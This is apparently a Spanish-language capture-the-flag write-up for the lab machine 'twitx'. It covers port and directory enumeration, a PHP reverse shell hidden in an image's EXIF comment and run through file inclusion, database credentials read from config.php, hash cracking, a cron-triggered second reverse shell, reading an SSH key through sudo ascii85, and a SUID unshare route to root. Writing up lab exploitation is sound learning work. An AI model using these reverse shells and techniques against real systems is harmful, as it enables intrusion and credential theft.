Enumeramos puertos y directorios:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.42❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.42
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 19:04 -03
Nmap scan report for 192.168.1.42
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 bc:cd:ce:6e:98:09:e5:60:d2:f3:96:74:eb:3f:cc:e3 (ECDSA)
|_ 256 b0:38:0c:1c:76:d0:de:64:0a:c4:07:89:4b:71:69:86 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds❯ gobuster dir -u 'http://192.168.1.42' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,xml,zip,sh,db -r
...
/index.html (Status: 200) [Size: 10701]
/info.php (Status: 200) [Size: 77537]
/javascript (Status: 403) [Size: 277]
/note (Status: 200) [Size: 74]
...En /note encontramos un dominio que agregamos al /etc/hosts:
❯ curl http://192.168.1.42/note
Recuerda contratar certificado del dominio twitx.nyx para el lanzamiento.En twitx.nyx hay un formulario de login oculto (vinculado a una fecha de lanzamiento) ofuscado en el código. Nos registramos y, en la sección de avatar, subimos una imagen con una reverse shell incrustada en el comentario EXIF:
❯ exiftool -comment="<?php shell_exec(\"bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'\"); ?>" avatar.pngPara poder iniciar sesión, sorteamos la validación del lado cliente reemplazando la variable dateFinish por la fecha actual desde las dev tools:
dateFinish = new Date()Una vez logueados, obtenemos la ruta de nuestra imagen y abusamos del parámetro de inclusión de private.php para ejecutar el PHP incrustado en la imagen:
http://twitx.nyx/upload/140134276167ae7c2ec5d027.66504068.png
http://twitx.nyx/private.php?folder=user&file=profile.php
http://twitx.nyx/private.php?folder=upload&file=140134276167ae7c2ec5d027.66504068.png
❯ ncat -nlvp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.42:33656.
bash: cannot set terminal process group (512): Inappropriate ioctl for device
bash: no job control in this shell
www-data@twitx:/var/www/twitx.nyx$Para escalar privilegios, en el código del sitio encontramos un config.php con credenciales de la base de datos:
www-data@twitx:/var/www/twitx.nyx/includes$ cat config.php
<?php
$dbHost = 'localhost';
$dbUser = 'twitxdbusr';
$dbPassword = '3GcxHeSqbgf1kfj';
$dbDatabase = 'twitxdb';Accedemos a la base de datos y volcamos el hash del usuario Lenam, que crackeamos con john:
www-data@twitx:/var/www/twitx.nyx/includes$ mysql -u twitxdbusr -D twitxdb -p
Enter password: 3GcxHeSqbgf1kfj
MariaDB [twitxdb]> select * from users;
| 1 | Lenam | lenamgenx@protonmail.com | $2y$10$OZh9Cqq7PupktlS/LbtJu.c4bFXWUaTW3zAbmS1litThpCfMAurtm
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt credentials.txt
...
patricia (lenam)
...Guardamos esa contraseña. Con pspy descubrimos una tarea programada que ejecuta taak.php, así que escribimos una reverse shell en ese archivo y esperamos, obteniendo una shell como timer:
www-data@twitx:/var/www/twitx.nyx/includes$ echo "<?php shell_exec(\"bash -c 'bash -i >& /dev/tcp/192.168.1.7/4321 0>&1'\"); ?>" > taak.php
❯ ncat -nlvp 4321
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.42:43192.
bash: no se puede establecer el grupo de proceso de terminal (986): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
timer@twitx:~$Revisamos los permisos sudo de timer:
timer@twitx:~$ sudo -l
Matching Defaults entries for timer on twitx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User timer may run the following commands on twitx:
(ALL) NOPASSWD: /usr/bin/ascii85ascii85 permite leer archivos (codificándolos), así que volcamos la clave id_rsa de lenam y la decodificamos:
timer@twitx:~$ sudo ascii85 /home/lenam/.ssh/id_rsa | ascii85 --decode
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----Usamos la contraseña descubierta antes como passphrase de la clave y nos conectamos como lenam, obteniendo la primera flag:
❯ ssh lenam@192.168.1.42 -i id_rsa_lenam
Enter passphrase for key 'id_rsa_lenam': patricia
Linux twitx 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
Last login: Fri Feb 14 00:49:23 2025 from 192.168.1.7
lenam@twitx:~$Para la escalada final, en ~/look/inside encontramos un binario unshare con bit SUID. Listamos sus opciones y vemos que permite establecer el UID:
lenam@twitx:~/look/inside$ ./unshare -h
...
-S, --setuid <uid> establece el uid en el espacio de nombres introducido
...Lo invocamos fijando el UID a 0, lo que nos da una shell de root:
lenam@twitx:~/look/inside$ ./unshare -S 0
-bash-5.2# whoami
rootObtenemos la flag y fin.